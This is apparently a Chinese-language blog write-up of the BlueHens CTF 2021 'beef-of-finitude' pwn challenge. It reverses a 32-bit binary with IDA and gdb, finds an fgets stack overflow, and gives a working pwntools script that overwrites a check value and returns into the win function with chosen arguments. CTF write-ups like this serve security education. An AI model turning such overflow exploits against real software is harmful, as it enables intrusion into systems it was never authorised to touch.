BlueHens CTF 2021 --- beef-of-finitude writeup

检查下保护机制:

32位程序,没有开启canary


ida逆向看一下情况:

去除了符号表,从参数可以看出sub_8049010是setvbuf(),也可以gdb调试验证
那就不去管它,直接看myFun,但是ida报错,没办法反编译:

它说在0x80493A1分析失败,那看下0x804931到底调用了哪个函数:

 

 

 

 转到0x80490D0,先把这个函数反编译了,然后再反编译myFun()就没得问题

分析一下myFun()函数:

 我们用gdb调试一下,看看sub_80490c0是个什么函数,同样的办法可以用来确认sub_80490d0

在0x80490c0下断点,然后运行,发现这个函数是fgets:

 

 可以写336个字节,那肯定有栈溢出,并且题目提供了win函数:

 

现在就可以写利用脚本了,覆盖为v5为0xDEADBEEF,然后写rop,注意适当的a1 a2 a3 a4参数,32位程序,跟在返回地址的返回地址后即可:

 

from pwn import *
context.log_level="debug"

#sh=process("./beef-of-finitude")
#sh=gdb.debug("./beef-of-finitude","b * 0x80493BE")
#sh=gdb.debug("./beef-of-finitude","b * 0x8049275")
sh=remote("challenges.ctfd.io",30027)

payload=b'a'*0x1A+p32(0xDEADBEEF)+b'b'*0xc+p32(0x8049236)+p32(0)+p32(0x14B4DA55)+p32(0)+p32(0x67616C66)+p32(0)

sh.sendlineafter('Name','zq')
sh.sendlineafter('password',payload)

sh.interactive()

 

posted @ 2021-03-24 23:06  田埂  阅读(98)  评论(0编辑  收藏  举报